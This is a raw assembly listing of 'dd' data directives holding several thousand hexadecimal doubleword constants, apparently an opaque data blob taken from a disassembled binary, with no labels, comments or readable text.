		dd 0D6455E80h, 2D1100B7h, 0C61A81EAh, 0FF12D56Dh, 5800F373h
		dd 0C4FC2633h, 0EC5FCD8h, 6A9750Ch, 0B8DCE5E3h,	0C9D3A3E0h
		dd 333D5500h, 2BA5B9B1h, 34C30B17h, 9B006A3Ah, 208D90DDh
		dd 0CDA74800h, 7C64CC69h, 6CBAA0A1h, 705E090Dh,	3380973Ah
		dd 111CF4CAh, 0D0AD0F18h, 0E6D0610h, 6ECBD860h,	43ED56A0h
		dd 0C17D2E50h, 4D3D1B07h, 0F651B316h, 0BCFDCCE8h, 5B92E0F2h
		dd 21B8A077h, 0D7D000E2h, 0E9CB104Eh, 50003D22h, 89999E1Bh
		dd 13CB3AAh, 0CFFB4A58h, 71754E78h, 2832FC30h, 2BFFE307h
		dd 1EF35F3Dh, 0D35AF0DCh, 380700F5h, 0C86715A6h, 8074F85h
		dd 0E8EF98A8h, 39A44E70h, 0C980009Fh, 0E56FC84h, 532C783Dh
		dd 0CA00A40Fh, 20281330h, 0CCCB493Eh, 4C094304h, 0E918C0F7h
		dd 6D028991h, 99044803h, 8694C08Eh, 0CE16002Bh,	0FB245BF8h
		dd 3C05D94Ah, 0F610EC76h, 0DA46D400h, 794FCB83h, 98DD01CEh
		dd 0EF9FF5CDh, 0AFC42077h, 0E01DA500h, 294A0122h, 6669001Fh
		dd 0A8D61215h, 1B00CF25h, 8D488EE7h, 12055D3Ch,	8FFC2Ch
		dd 0F2F41190h, 88CB7853h, 65BC00D0h, 0E6FCD963h, 0EB7000E3h
		dd 71345B7Fh, 0F400D8E1h, 6EFADF48h, 3F9933B5h,	0F70F64BAh
		dd 7900A6ACh, 77D935F8h, 0FC7A5200h, 1053E892h,	0C71E009Dh
		dd 23B9E7C3h, 0CE0054ABh, 0D3E128ADh, 4131C9Ah,	0C8BCCD09h
		dd 0EE84C1A2h, 3F8980F5h, 85B64137h, 0D5B73EBFh, 80E0331Ch
		dd 0E21CDF5Fh, 0FC793C4Bh, 6CDDCC03h, 98E7572Dh, 1CE1217h
		dd 7C3F09D5h, 7E2A06BBh, 23C6D680h, 0E45F3D0Eh,	9D025448h
		dd 0FE1601F6h, 2F670848h, 266E4Ch, 1B4A2DE1h, 79BEECDAh
		dd 883B0029h, 0D0EE6CC4h, 1400E7B6h, 1F5430A9h,	96B934h
		dd 320B406Eh, 0B43D61D2h, 0E3A20600h, 455B20F7h, 4F0A00AFh
		dd 498E7F5Eh, 0D1009A21h, 4226EF03h, 0A0A8046Eh, 74858C8h
		dd 0A9AEFFB3h, 67375087h, 9607DA7Bh, 0C06D51C3h, 0D08C30E0h
		dd 989E0042h, 337EFBB0h, 32003F11h, 456494Fh, 94DD7ECh
		dd 30807268h, 0BCB058A1h, 706DFD0Fh, 982E6C17h,	530BECE6h
		dd 0F35CA0BFh, 763A711Ah, 0A016002Fh, 8177DA8Fh, 0D2007F9Ch
		dd 19C5A220h, 131F4217h, 0ED3585Ah, 21E00A1Dh, 53E034ACh
		dd 5B2D1B00h, 6DF9591h,	358B003Dh, 0B0CC9F1Ch, 0A201ED26h
		dd 0BC6963DDh, 0F3E08C34h, 4B2E054Eh, 0C01F1625h, 0A15320EDh
		dd 2D9D3Dh, 0AE0A06B3h,	3A2B837h, 377453Eh, 3DB8EEF7h
		dd 190007EAh, 8A1DE1Eh,	0C1907Ch, 0F1280CE8h, 0AD676CD9h
		dd 5AE93903h, 0E8A38DB1h, 2E08866h, 0BCC6BA42h,	0DC40150Ah
		dd 0A600EC96h, 0A50E3E18h, 3D1D358Fh, 0D0A465Fh, 845550h
		dd 6EB869ACh, 7003139h,	0C8C3834h, 1D4929h, 766DDCA1h
		dd 0BBF5E92h, 0D0C2A400h, 0F1DB7BC9h, 3CF40220h, 2C759CDFh
		dd 0A78EF4C0h, 0AA1428BAh, 0A4BADBh, 3E1219E1h,	83A353h
		dd 0D09B8829h, 7B18985h, 0AEEE2D00h, 0C16336CEh, 3AC505B9h
		dd 806B79ADh, 0B1CBAC4Ah, 121F1307h, 0A9909E40h, 77DD2D92h
		dd 0ACEA2835h, 0C14200A0h, 992363AAh, 5F00DFCEh, 0BE3E6788h
		dd 0A8777Fh, 8B17339Ch,	0FE6E122Ch, 71060C09h, 96CD0059h
		dd 92F41ADh, 0E0802844h, 0FDDC1E01h, 36A04013h,	209693CEh
		dd 0BA6A3D60h, 8FAB0114h, 0BDBE57E6h, 0E7FC4077h, 0F40184DFh
		dd 0D120319Fh, 67600206h, 12FC90D7h, 83402439h,	0C0CC9C8Ch
		dd 8A46F3CFh, 476D526h,	0CABB8C80h, 0B324C0h, 868E65FEh
		dd 9F67F611h, 812DCF00h, 0CDDAB7B1h, 3D470091h,	21D1B3D6h
		dd 0CC71B4BBh, 0E8D71700h, 6D7C5C67h, 2F401463h, 310298A4h
		dd 5120BA9Fh, 568A14C0h, 0EB9B8C00h, 0A617906Ch, 76320023h
		dd 0A3E9F606h, 900EAE2h, 5651B403h, 73DC9434h, 927100F3h
		dd 648BD81Eh, 0E80120AEh, 2419DB5Bh, 8E00180Fh,	98ADFF34h
		dd 165AF38Fh, 0FBA42040h, 560C69h, 0D86B149h, 0DF3B9181h
		dd 2D3A9712h, 0A1CF2803h, 0B311F2Fh, 0AC0AE08h,	9840DEh
		dd 0F00A2346h, 0B04817D7h, 9E77001Ch, 42EC924Fh, 0E7FA68h
		dd 0CD0D80A0h, 0C58EA839h, 1CED8D00h, 0E8F322F9h, 9E843DA2h
		dd 36742980h, 0D4495791h, 7C432C00h, 0D9A55A46h, 9E6C020Ch
		dd 0A88E56D6h, 64D2C080h, 8800B48Ch, 39BE5108h,	0F319EFh
		dd 0ABF29EFBh, 689A3F82h, 0BCC2BB09h, 190000A3h, 59FD4C3h
		dd 53D03AB3h, 247C80CDh, 2909FF6Eh, 6B706Dh, 1779A648h
		dd 4B460BE7h, 0DC20C8F7h, 523D13A4h, 7BB29A01h,	0D836CC3Eh
		dd 9D4D3D8h, 0FDAE1A58h, 702CD861h, 7B789549h, 0A8670A30h
		dd 0C4266AFh, 5F19D9E3h, 0F123891h, 0A01E96AAh,	0B4A2080Ah
		dd 43101359h, 9B002D36h, 0E352F009h, 3BBE0346h,	8481EAD5h
		dd 3E278823h, 411FF19Bh
		dd 40C50E88h, 0CA6E5094h, 0BDBAF601h, 0C8B53FE3h, 0FE4A26EFh
		dd 1F12034Ch, 0FAFBE733h, 7B5928A0h, 0EA3CAD1Ch, 974B0E40h
		dd 3A2C82B6h, 15872290h, 0F1254D14h, 80916F27h,	2062EFB8h
		dd 864FEBh, 2883A79Ch, 215706FFh, 5DE46900h, 4D444B55h
		dd 46FA1219h, 4541002Dh, 8FD71EA6h, 2ACEC01h, 4EAF9664h
		dd 9F1DE8h, 0EAB2F438h,	0DB211B85h, 0ADD0DD16h,	0ABC0BD1Dh
		dd 662FB6F5h, 0C0FCCBh,	5ED2EA59h, 0EE769A34h, 679C0F00h
		dd 53AF120h, 96C73002h,	0D72A49A8h, 9402555Ah, 58A00BFAh
		dd 0B2E37FCCh, 98524D4Ch, 80EB141Dh, 25B28ED4h,	2A011773h
		dd 0BD0BB08Fh, 5CDCD94Dh, 0B31548E5h, 0AD21287Fh, 1072FC8Ch
		dd 12B89DFh, 1EA2584Bh,	4474DB2Ah, 7A322814h, 0D86900CCh
		dd 0B8C9CBA6h, 0B007E16h, 0EBD276BAh, 7845819h,	2A4ADDC8h
		dd 0DC807986h, 346672C2h, 0C6F881B5h, 0B6EE4F1Eh, 91D8098Ch
		dd 8082645Ch, 80A08CC2h, 1BDC7BAh, 0CB267200h, 0C6CADADDh
		dd 3D3A09B4h, 3CE062AAh, 0C026B0A1h, 708094F0h,	0F691F78Eh
		dd 0A234015Dh, 24C6327Dh, 0C1283455h, 2038E278h, 2D3F03EAh
		dd 0FDF893F0h, 5BFB9C90h, 713B024Bh, 0A9EF051Ch, 9C04DC50h
		dd 0A1AB3314h, 40C64082h, 9834C90Dh, 0A53B0494h, 0F5AF4B8h
		dd 2AE620F6h, 1AB057h, 0B3883366h, 0C74C3292h, 0AC90CC00h
		dd 1C202C77h, 5270C8h, 0DDBD5D62h, 0F7417C39h, 4C7B2B17h
		dd 165A409h, 29B8EEFCh,	5AAA52E0h, 5F4C6037h, 0E92DE299h
		dd 32301067h, 0B6A2070Bh, 0C0F1129Ah, 4B6E1735h, 0F4BF7A0Ah
		dd 0B642B42Dh, 1AAE2095h, 83166C4Bh, 0F11CE9C6h, 16B3342h
		dd 0F15060F7h, 9AAA71E1h, 0FC0826B0h, 0F0E0CE1Ch, 9FA7E7D4h
		dd 0E0951000h, 8CA99C09h, 5EB900DAh, 154B0FB4h,	0E20029CDh
		dd 1F72AD8h, 0F2F28E7Dh, 510201C7h, 0DECF71C1h,	28C4284Fh
		dd 702D741Dh, 51400CDh,	0ECDC2Fh, 7534F08Fh, 0C87D14EBh
		dd 0B9675C05h, 40A0C2B6h, 0F5A90495h, 90D63F55h, 73864798h
		dd 64722400h, 16B513B3h, 0B13E0055h, 92A6F430h,	8200B8C0h
		dd 0CBC587C3h, 4716CDFh, 0F7DBCD99h, 0D74CC08Fh, 0E00025B3h
		dd 654314A4h, 47ABAB9h,	32155417h, 5AB4A0DFh, 1400A74Eh
		dd 0F09E79D4h, 834700F6h, 1D41DCCAh, 5005586h, 4E17DB19h
		dd 77AFDC1h, 0C8F50DD6h, 0E997E096h, 491E7416h,	0D494A1D0h
		dd 0DF0D00D0h, 56B97370h, 0CE4700CCh, 0D238A79Fh, 113D258Bh
		dd 0F1050084h, 0FB136DBAh, 0F2A1005Ah, 57D3F92Ch, 90717A9h
		dd 9716EE4Eh, 0DC4520E0h, 0D4D2050Dh, 4083B674h, 63CABEE8h
		dd 4C00799Eh, 57752736h, 513E15h, 3FFC8B07h, 1C7B0CD7h
		dd 0ACDAB500h, 3A64E50Eh, 3CF95C51h, 0FD9CBD00h, 0E82710D7h
		dd 82D6BF3Ah, 0F19BC96h, 5FECA046h, 9AF1DDh, 33BE06FCh
		dd 0AF60F087h, 7981D900h, 2B9DCB5Dh, 3CADF63Ah,	0FC8375ABh
		dd 30469365h, 0DAF784A8h, 0EE625C14h, 8F4C3DACh, 0BA977Ch
		dd 0F835676h, 414AE0h, 93AD662Ch, 0FE481DD9h, 1990020h
		dd 711CAF8Eh, 0ACF800B2h, 12F086DFh, 9600767Ah,	0E85CF4FEh
		dd 0D8B0D5h, 7FD1746h, 0F83A53D7h, 63904B0Eh, 8468443Fh
		dd 0CE2196C0h, 718B0017h, 0E4C482DDh, 57096E5Eh, 8073181Ch
		dd 0A5CA5CB0h, 0F0AB00B9h, 79C98419h, 3701779Fh, 0B14F88EEh
		dd 17DCA27Eh, 0AFE500F0h, 1DFBB03Ch, 112568Dh, 240FF21Ah
		dd 196C6312h, 105BC881h, 80E4B62Ch, 8F6BB65Ah, 318C0C8h
		dd 43B0F716h, 0E73D001Fh, 0E414FE13h, 0E3008795h, 0C4CAD041h
		dd 66A7098h, 0D2740D67h, 3A38290Bh, 9AC50387h, 0E0EE18B1h
		dd 1CE36Fh, 11574D7Bh, 0BE8962EAh, 0A9CDE8FFh, 0C027F700h
		dd 0A5D578DFh, 6ACC00D8h, 7F1E49D1h, 0EC00619Dh, 0FF463EF4h
		dd 74BA931Ch, 197A4Ch, 1A1398C7h, 0DA40F902h, 9431EC06h
		dd 0E22159C9h, 9D220045h, 0E91DF00Ch, 143F560Ah, 0C13D00AEh
		dd 370512C0h, 0BE153FF5h, 4082C8BFh, 7DDBE393h,	8300A0F8h
		dd 43720BF7h, 906EE4F4h, 8C3A00C9h, 0BA33F2EDh,	0DEFE604Eh
		dd 0BC0ADD00h, 43CD17F8h, 23D6005Ch, 2BAB8CD2h,	906E7754h
		dd 0C74D4750h, 928E496h, 0D085EEDFh, 41C93480h,	80BA0781h
		dd 9DBB8B09h, 6938A042h, 0FA853935h, 4BDE00C8h,	77A1B8DBh
		dd 9B02887Bh, 0F65DD9DCh, 3F848109h, 53FC37E7h,	72C81D4Eh
		dd 9F71008Dh, 177630CAh, 6EBCE6A0h, 4B3ADE01h, 8CFF80FCh
		dd 34A5CCh, 0CFD8FB2h, 492C478h, 570CC0F8h, 88F3BE01h
		dd 8FE400DDh, 6CCDC5B8h, 3E0164C2h, 0BE5B03Dh, 15D817AAh
		dd 262205F2h, 0C07F47A6h, 0A03A6388h, 9F8B8538h, 0C68053C8h
		dd 76A24AFFh, 165A01A5h, 286CECDh, 0F4AE401Ch, 13722D44h
		dd 414CB175h, 0E2E31E07h, 0D6181E80h, 1B5A001h,	0C8979078h
		dd 302CC671h, 0F600EF99h, 5E7D2AF7h, 0A720C2h, 8FF33DD5h
		dd 0B0A87951h, 80E22439h, 1478CF07h, 1882090Fh,	6AE4ECCBh
		dd 301C8918h, 0E5400141h, 116B3D86h, 0C1FD2C5Ah, 0E02288h
		dd 0DFC668F8h, 13A72E4Eh, 98A5BA00h, 716336B8h,	9F6000CCh
		dd 0A3706D51h, 98B478BFh, 0DCBD8D01h, 0A6872F45h, 50774C27h
		dd 9020D08Bh, 89B4D81Dh, 0C1D6DC9Fh, 0EAB678C0h, 2910039h
		dd 166C337Eh, 1702D409h, 9DC8A251h, 5E7C665Ah, 0AC900B42h
		dd 0A3E4FD8Eh, 6C78C06Dh, 0FAB8C191h, 210484B6h, 0D000BB16h
		dd 594518C6h, 87A4A501h, 2BCC4D8Bh, 842C6871h, 0F4075B00h
		dd 47ACEBE9h, 71A04800h, 0A88E674Fh, 0B431DEFh,	0A1C147ABh
		dd 0DC12605Dh, 1D00307Dh, 0A5D2DA88h, 0B6E8CEh,	0CBE47F0Fh
		dd 509C94ACh, 4F0A400h,	0A3F46B9Dh, 987F0Dh, 0D74E7FFFh
		dd 139F4A38h, 7381258h,	0AC9C0557h, 0DDA51950h,	0C89349A7h
		dd 9F80863Ah, 0D57A6E1Bh, 5B00C797h, 31A3F673h,	98DF208Ch
		dd 0E3300E69h, 5AC13A7Eh, 7073535Fh, 0AE00F4C0h, 3712E931h
		dd 14925D2Fh, 0C02ED0E0h, 0AF9F100Bh, 210038C6h, 49B501EFh
		dd 0CBEB143Ah, 24804CD0h, 459732DEh, 81626E28h,	0BC2B411Ch
		dd 22C0F45Fh, 0F1EEA2DDh, 0FE0E808h, 0ADA84B58h, 2BF804C0h
		dd 3A0E3716h, 0C7C6099Ah, 7E106A7Ah, 0D2FA8Dh, 0C71373D8h
		dd 4BDCC30Ch, 0C0FE3Bh,	61CA24CDh, 4F63BB05h, 0E4B8A7h
		dd 35D58DEh, 0C1051h, 7A331328h, 960E5214h, 8D982A00h
		dd 32BA07C3h, 0FCF20021h, 4B8166A8h, 5B005324h,	0D1EE1A54h
		dd 17798Bh, 52536AFh, 20E8BC27h, 1EEDB207h, 0E5D0BA94h
		dd 3901A2E9h, 0E3899C15h, 30520ED7h, 850CFCF2h,	2142C2CAh
		dd 228C006Eh, 72436B24h, 0DA044D86h, 0B6916330h, 8D48A80h
		dd 977F3Dh, 5A9BCF60h, 0B556F2C5h, 242E9905h, 48D75B9Fh
		dd 6AD1DD00h, 1987C1Ah,	0DE32C6BCh, 0FC838B5Eh,	0B37B66AAh
		dd 7FA10304h, 10938EC8h, 0C630EF97h, 7C3B68D2h,	8C8400ADh
		dd 0C2F843E2h, 5C00B2F0h, 648818EFh, 80412Bh, 5AD569B1h
		dd 0CF6F9E2Ah, 0D4005376h, 8D84ECABh, 1B362E3Ah, 6058EA39h
		dd 3C4EC4C9h, 570378A8h, 2DD34D33h, 0A069A393h,	0A2F7C76Dh
		dd 0DB4210h, 74212E1Ch,	292F3A53h, 2A7D203Ch, 212CD03Bh
		dd 8311D430h, 0B300994Dh, 616496D2h, 0EE00C4A8h, 3A136512h
		dd 1518A79h, 0C7B5D369h, 0E8C5D256h, 771E2DBBh,	7E13E0A9h
		dd 8F4DD709h, 5F31C630h, 4B213D60h, 0C0D4AC1Dh,	39E7C1ADh
		dd 200BE32Eh, 7510A6BEh, 0A4AAE780h, 36F0CB4Ah,	276C11F4h
		dd 1B9632A8h, 0D0812EABh
		dd 38A077C3h, 0D700F12Ch, 0D26BC466h, 96A78Dh, 21A00E90h
		dd 38188CD6h, 70470BFh,	4726B7EFh, 64DBC0ACh, 763BE52Fh
		dd 0DCE48070h, 0BB5A1B28h, 2E1A0080h, 715B0906h, 4C00BFCEh
		dd 23571D76h, 165DB85h,	0C1CD5889h, 0E88EED14h,	242E9C17h
		dd 490122C2h, 5A7212Dh,	1ED18FF8h, 548747h, 80B45D03h
		dd 2001019Bh, 0B33BFED7h, 0CAF42D8Ch, 9CBAA089h, 0A1F11D14h
		dd 4404076h, 72D95A47h,	0EBBFC107h, 88B262F7h, 2BDCA0F4h
		dd 793195Ch, 65C449E6h,	7969F005h, 9BEEEE36h, 5E731607h
		dd 67E0484Eh, 0EE52A434h, 0E79800B3h, 697BC170h, 8B3CA30Bh
		dd 446E1851h, 6B2008h, 593DF18h, 378FFE7Bh, 220091FCh
		dd 0B1BBEBBCh, 0F5A36B7h, 31D8BFC3h, 0FFFAC220h, 0EB0089A1h
		dd 0E76D49FEh, 2B8F7Fh,	0C0A5C17h, 0B01E35D2h, 0E85A5700h
		dd 6CEFF487h, 31D31367h, 100CC413h, 0B8AB04F0h,	0E4570001h
		dd 82882CDh, 1CA53359h,	0BEF90C41h, 27B0D030h, 0BC4331BAh
		dd 0AF3576D8h, 7582E613h, 0EBB4D0A0h, 101428EEh, 79578440h
		dd 4840B048h, 112B884Fh, 11775401h, 5C21734Bh, 9050F708h
		dd 0B1AA8E68h, 72087821h, 747C884Eh, 42E2CF9Eh,	6B871184h
		dd 11783011h, 80216CBEh, 944C7F08h, 66112884h, 492C11D0h
		dd 8B472074h, 0D329D860h, 7EC1622h, 77B20AA1h, 0B9C390FBh
		dd 0BF018FF0h, 6CB604DDh, 0C4F09234h, 304700E4h, 367FEEBBh
		dd 78007173h, 8EBC6B21h, 0B4A8E6h, 9A499E0Ch, 7E2007E2h
		dd 95D1EC03h, 89F8EE1Ch, 38C048F2h, 0E0B80735h,	0D0B79254h
		dd 0FBCF8BB9h, 46B3BD0Eh, 0F61920C6h, 6EE40Fh, 5B67D151h
		dd 442B5CFDh, 8A7A297Bh, 38019400h, 2AF80571h, 77C30315h
		dd 7D8F70F0h, 51FD87C5h, 0D849FCAEh, 0D304158Eh, 2167609Ch
		dd 81AF1890h, 287739h, 14D2A545h, 1D0563DAh, 8E85A100h
		dd 865E079Bh, 0AB7188h,	0B7C33DCFh, 0AF9EB61Bh,	31DCB00h
		dd 11CD46F0h, 4988EE7Bh, 0B305438h, 0DAF479E1h,	0B542FA00h
		dd 0B43B2089h, 6DA2001Ch, 2A637F22h, 0DC00508Eh, 0CC3F3A70h
		dd 585CEAh, 0D48961A9h,	5413A2FBh, 0B5B851F2h, 0B595AC00h
		dd 560CA921h, 3464072Ah, 6FC7E6E7h, 0D9223D2Fh,	0D1E0D0D7h
		dd 4C035C93h, 1FE21BDCh, 405D9008h, 21A600FDh, 8D55EDE7h
		dd 0C8019D03h, 1A10DC53h, 5FEDE546h, 5EE40CE4h,	5EF2A0FEh
		dd 7DE28D00h, 19085DFh,	41880087h, 6CBB0CAh, 700042BAh
		dd 0B46D192Eh, 0A253ADh, 0B724AA21h, 0B501C331h, 0C5ACAB00h
		dd 5130E828h, 2D760034h, 92154E7Ah, 0A44F37CBh,	62D428C0h
		dd 55B30027h, 33B1119Ch, 680017D2h, 79F3A665h, 2FFBD9h
		dd 14CFFA76h, 1E452201h, 5D87B903h, 0F08CC5DAh,	0F176EE0h
		dd 63F0486Ch, 0CBCC62C0h, 4300BF8Eh, 0AF3366BAh, 3F189F19h
		dd 0F6941EC0h, 0B500C08Bh, 0F20EA91h, 7E39E5C2h, 3479008Ch
		dd 70FEA73Fh, 682E00FCh, 21AF71E1h, 273973E6h, 9753002Ah
		dd 7D64525Ah, 84160756h, 0C178C31Ch, 0C071403Dh, 0F6244EF8h
		dd 3001881h, 47CFCCD6h,	0B29100BDh, 0C2D425B0h,	5E09DE94h
		dd 11002B8h, 3805FD24h,	1037A601h, 0B8F5535Ah, 74B0C04Fh
		dd 7D751B43h, 0B92BAD00h, 0EC04D642h, 0B07A0CEEh, 0DEA84E69h
		dd 8C3AE23Bh, 38852901h, 0F7030742h, 0F148439Ah, 9D9CE130h
		dd 0FF4E1A3Ch, 7D2F40B5h, 0CF61D0h, 1BC96383h, 488C4056h
		dd 924BB912h, 106D8400h, 262254D5h, 3B01F68Bh, 1A8EC27Fh
		dd 3B405DEBh, 0AD006819h, 0FE4CB42Fh, 1247CAB5h, 10DF51h
		dd 94DC62EBh, 0D8003776h, 0E8F0FE7Ch, 4385B1Ah,	0CDDA6CFDh
		dd 4928C090h, 6200D029h, 9D1839F5h, 36057D7h, 0C1E9A5B3h
		dd 0CEE891A7h, 6401BDDEh, 9BFAB67Fh, 0B4C1C941h, 0F4FC2260h
		dd 0B25800D6h, 2A721963h, 880062DDh, 4FBEAE8Dh,	7012D7Fh
		dd 844D0D4h, 0BA46C1EBh, 3030248Ah, 3731CA00h, 0D912D2D6h
		dd 5A601DA5h, 45A20481h, 8044C76Bh, 67EC66C7h, 0FC7040h
		dd 0C36C04F2h, 89C968E1h, 0BC8E4B00h, 7296752Eh, 0FA8D0231h
		dd 0CC7977E8h, 0F72B4860h, 49104740h, 5A3C3805h, 0AB0074CDh
		dd 0F07CF998h, 0F80004A6h, 0D836E3CDh, 76D193h,	5B65E999h
		dd 433331F7h, 929839h, 84A02909h, 994C11h, 71978A36h, 5980E735h
		dd 0BCC9960Eh, 611E00A3h, 8AD918h, 3BFBC033h, 0BEB528DAh
		dd 72231F00h, 0A3530BDDh, 7C82F67Ch, 0E75F2C54h, 5013F43h
		dd 0CAEB1DC7h, 6819807Dh, 606AC4DAh, 748A03C2h,	184044E2h
		dd 0A83991B0h, 6CDB1B00h, 99D12E9Ch, 0D7230771h, 8735C982h
		dd 85D9F0F8h, 540166F6h, 684CD333h, 5AF8C6D7h, 0C8CE001Ch
		dd 0D958158Fh, 390ECB99h, 61702531h, 824945D5h,	0E884802Ah
		dd 0C200C7EDh, 6C733A32h, 73EB9E09h, 5BA0092h, 0B9A11740h
		dd 8500D7D0h, 0AB5E2601h, 39668014h, 55C81D72h,	0A0E9F11Bh
		dd 209CC089h, 0A601DB3Bh, 0ACEEC33Fh, 0EBC02D34h, 178C09E0h
		dd 0ED0001E4h, 81B891B1h, 108BDC0Fh, 7A3C8079h,	1F3AF892h
		dd 80B589AFh, 5DF45C6h,	0FD008A46h, 0A1AB67B4h,	0FEACE8h
		dd 5A3701EAh, 0D5962DBCh, 400E575h, 90DD7CAAh, 0DA3446h
		dd 50F6CF5Ch, 44C83B80h, 0A364CD00h, 7D3CDE87h,	20DD0F73h
		dd 0E0603DE6h, 9C1A83Eh, 93585107h, 0EA309948h,	328E2Bh
		dd 9DD6AA98h, 0F1BACEB7h, 897E98A0h, 0A5260800h, 923E792Eh
		dd 69D0045h, 5D29C643h,	221DC9ABh, 6880D3C4h, 0B630967Ah
		dd 67EB3864h, 0C93F9E8Fh, 0CE00C229h, 0B556A355h, 0ABDA260Ah
		dd 8701F0CAh, 0F825F48Dh, 0F67F49C8h, 75430A3Fh, 39034F2h
		dd 0A00BF1CEh, 50443CF0h, 86EE2E79h, 24667600h,	3F69657Dh
		dd 16480778h, 80F120E8h, 8128328Dh, 0C217CE00h,	8AB473E0h
		dd 471600DCh, 2CBAC034h, 0B9009CD5h, 0F6C26F60h, 0C851C3h
		dd 0E90ABD75h, 0D7FCCC02h, 0FFACEAC0h, 90989532h, 97FE49h
		dd 0FBE1387Ah, 9C418324h, 45205D00h, 4C992EC7h,	3960016Fh
		dd 0F8F33626h, 0E632610Fh, 0BE72A040h, 4C83E8DFh, 0F8412DACh
		dd 3EEF423h, 42545633h,	0CFB852B3h, 122859C0h, 5D00BDFCh
		dd 0E2AE14E7h, 71D39Dh,	0EC2CB6D8h, 836A112Eh, 62124600h
		dd 0C2E0C452h, 0D7AB0064h, 0B99527DDh, 551D97DAh, 0AA664FEBh
		dd 0C3FDCC00h, 4F8BB3Ch, 0E259910Dh, 326C802Ah,	100B80Bh
		dd 7D37167Ah, 485B3D8Eh, 0AE007CA9h, 0FBBDE480h, 0F2005291h
		dd 944707A4h, 0DBCC44h,	58E653A5h, 6E2AFA17h, 0F0C06009h
		dd 81C400C8h, 3EF9E0Fh,	5030FC21h, 0C0E0E75Bh, 0E20E8B6Ah
		dd 0C04ADAAEh, 0CC283653h, 0C2F700BCh, 0A076C94Eh, 2B0F262Ah
		dd 27EFB49Ch, 27E071C5h, 9CA92DCh, 0CB7EA775h, 6EA9200Eh
		dd 85984A00h, 0EB0E9FE9h, 0C095E31Fh, 0D5A94F1Bh, 0C0AC0053h
		dd 0F0E41C69h, 4000AFCFh, 78C61626h, 7C9329Dh, 766798DFh
		dd 8491D197h, 612020BCh, 8AB76D00h, 0D5A6BD80h,	2C470052h
		dd 0CD50A881h, 3D002EBEh, 201F62E6h, 0C0CF03C0h, 28BF9990h
		dd 0AC9888EFh, 47BC5E5Bh, 465A9400h, 0E41BB01Ch, 0E1C54207h
		dd 0F6ECF860h, 9216F017h, 74A6023Ch, 0AA8E0B7Ah, 0E679C9C0h
		dd 638DC30Ch, 3D936A32h, 5401622Ah, 0E5FCA6C4h,	4E51D013h
		dd 50E8AB00h, 44CC8B7h,	9F520019h, 0C63005E3h, 0E776B4C9h
		dd 10ED7400h, 3278669Dh, 0B27926B6h, 94483058h,	4101A1D5h
		dd 95BC51CCh, 2B305289h, 358D0075h, 3058DEA2h, 0DB00D928h
		dd 0B49B25D6h
		dd 0DD5E57DCh, 6731C0F8h, 7D29BC61h, 0E1207B01h, 0ED2671DAh
		dd 4E000CBh, 0E0581C3Fh, 621C4CB7h, 4AC01072h, 73D9698Ah
		dd 74643E1Dh, 9C7C3A81h, 43BA6A22h, 129A15C4h, 0C4E12727h
		dd 0F0308DDFh, 0E5DC0C16h, 0CD11647Fh, 2429D100h, 91697927h
		dd 8A3C13A3h, 9B8000AAh, 881A6242h, 610F221Fh, 8C9F0A46h
		dd 9C560038h, 0FCA7A0A9h, 0BC0B6593h, 80398A86h, 0A5CEE801h
		dd 0C3A60B35h, 400E319Eh, 0FC49A181h, 3A08094h,	9706159Ch
		dd 1A5D00F5h, 629F4D24h, 0D10034CBh, 0FE54637Bh, 0E160308h
		dd 0AA710420h, 1BAD7AE0h, 490B877Ch, 6B31D4Dh, 2866B200h
		dd 0E7DE0Dh, 61160FACh,	5A4730B7h, 0B7D5B48h, 1FA9B29h
		dd 0E811CDAh, 1FB44570h, 8055C878h, 4193CDD2h, 82E02C0Bh
		dd 12448148h, 0CB02260Eh, 60FE3121h, 77A07455h,	0AC1300D8h
		dd 0A97A8584h, 7724B2EDh, 0BE0010A1h, 0FABFD7A8h, 0B62039C5h
		dd 0CFA55D00h, 4C6DF5FDh, 17857A12h, 0B493D200h, 9C0A59h
		dd 1CDE3B88h, 12E4191Ah, 628FA200h, 265E42E2h, 3BAC3ACAh
		dd 43E37881h, 47912392h, 0D527E0A0h, 5F00D710h,	9D4450C6h
		dd 1EC23F1Ah, 4390F065h, 0FF6EE75Eh, 8860A892h,	7D002747h
		dd 43C2F438h, 3D9E6C2Bh, 2080C4F8h, 4ECB5458h, 0A00297E7h
		dd 4688C934h, 0AF0140A3h, 0C095004Fh, 36E175BFh, 0EF12C5EAh
		dd 0DC06598Ch, 4F1D59Ah, 0C9CF1F2Dh, 837A00A7h,	7F8609E3h
		dd 0A8624F1Bh, 32920B59h, 47EC8001h, 345C99h, 0AF6D3E7h
		dd 8FE92CF4h, 0CF566D18h, 3F28CBB0h, 0CC80B8B6h, 3E336AB5h
		dd 0D87E1799h, 68F4AA50h, 37D08A00h, 84F88FCEh,	7FEC002Fh
		dd 634CC419h, 17E0E67Ch, 0C06C6A00h, 0FE0D9C6Fh, 0D9341ED8h
		dd 623FC076h, 0CD9A1AF4h, 5950F48h, 5A5E7AE9h, 0D41DA8D1h
		dd 731066C5h, 0A901FCB8h, 0CEEFB6F5h, 0AC74BB2Fh, 3AF07D8Ah
		dd 4E01C7F2h, 29C5906Ch, 3EF44082h, 67310CBh, 32A79500h
		dd 0D8259841h, 0AA581D7Dh, 920E8013h, 1AB55797h, 0CF2C30F6h
		dd 0E1017CFCh, 4AB4659Ah, 342030h, 0A43F2E01h, 0AD54977Fh
		dd 0D6ED170Eh, 940340F0h, 0BD04237Bh, 182C43C0h, 65EEB000h
		dd 9A43B9A0h, 26812E33h, 0F3201D0h, 497858h, 206D64BEh
		dd 0C174D021h, 0A61CC8BAh, 0FEC0F2F9h, 12B0E4BFh, 1C951FFBh
		dd 3FB7C0E7h, 5741BC1Bh, 38ED912Eh, 0A209C04Fh,	202EFFDh
		dd 9631B019h, 0D040DDF5h, 645367DAh, 7E5060D4h,	240A66F4h
		dd 0C2CC0h, 7A4B3828h, 9000C6CDh, 0D2F07BBAh, 3A55D439h
		dd 41805C30h, 4D56AA96h, 0AD4A7793h, 7153B000h,	119CDEh
		dd 6E0F0ACCh, 0CBFA1C13h, 0A448CA7Fh, 92D11DE4h, 0D6B3F642h
		dd 0B46C60C7h, 6B61877h, 702A210Eh, 477DF0A0h, 1E105100h
		dd 950BD57h, 1F20C065h,	0DA8DAEDBh, 0C714EC1Ch,	1D3E0500h
		dd 9AA161h, 0D3980DB0h,	6BEADC08h, 752EACBAh, 0CD01BD8Eh
		dd 0F84C97C5h, 0E444DFC0h, 0B6092688h, 962981D4h, 60877D3Fh
		dd 9507F798h, 0A9EE6862h, 0FB7BB4F0h, 75487940h, 0DC5C1EC0h
